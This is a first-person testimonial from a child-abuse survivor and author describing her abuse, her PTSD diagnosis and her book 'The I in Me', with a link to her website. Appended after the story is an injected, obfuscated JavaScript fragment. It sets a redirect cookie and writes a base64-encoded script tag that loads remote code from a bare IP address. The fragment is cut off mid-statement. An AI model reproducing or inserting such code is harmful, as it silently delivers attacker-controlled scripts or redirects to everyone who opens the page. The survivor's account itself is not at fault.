110 – Cynthia C. (United States)

My name is Cynthia. I am an author, poet, and writer. I have turned my personal story of surviving childhood sexual, physical, and mental child abuse into two editions that can help educate others who are not familiar with the layers of damage that is done within for survivors of child abuse. I use my unfortunate circumstances to help and give back to others with my writings.

My biological father sexually abused my younger sister and I in 1984. The state laws of West Virginia were not strong enough to protect children of dysfunctional homes in these days. Our biological father was allowed back into the home. When I was 10 years old, he began to abuse me again.

I became a child with no voice. I became a child who felt I had no adults in society to provide protection to me when the abuse again. I have documented my controversies and triumphs of acknowledging the damage within.

I do not fear the shame anymore. The shame that comes from the topic of child abuse is an unfair label and segregation in society. The only way to erradicate the division that survivors suffer in silence is to share your story of truth about your abuse.

I have taken my abuse and use it as a survivor’s tool of courage to share my story, my circumstances, and to help prevent others from enduring the pain, shame, loneliness, hurt, guilt, and silence that we have known solo.

No two individuals suffer the same. The same can be stated of adult survivors. We all deserve to be freed from the silence within and to help provide knowledge and education about our individual situations of abuse to help conquer child abuse.

In my book, I detail the challenges of surviving alone. The long term repercussions of constructive healing has become a life committment to me. I wrote my book to detail the triumphs and controversies of medical treatment and diagnosis. I have been diagnosed with Post Traumatic Stress Disorder, surviving Ritual Abuse, and became responsible for stopping a generational disease in my family known as Incest.

The greatest writers and books available to help survivors of child abuse can not elaborate enough for child abuse survivors to be careful in reading material to help yourself. Triggers from reading other stories can strike up your own memories.

I have written The I in Me in detailed chapters. If you would like to read on just the diagnosis of Post Traumatic Stress Disorder and how it has affected my adult life now. If you would like to know more about Ritual Abuse and how religion can and affect a traumatic childhood I have detailed this chapter. The book is broken down into chapters as doses for survivors. No healing will ever be easy for any child abuse survivor. But the efforts made to overcome are worth breaking down the walls of misunderstandings, labels and more importantly to get one day closer to stopping this silence of abuse that robs to many children of their innocence.

I have two editions of my personal story. The I in Me is available as a free e-novel read and for purchase in paperback. Both editions are available at my website at: www.authorcynthiacox.com
..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘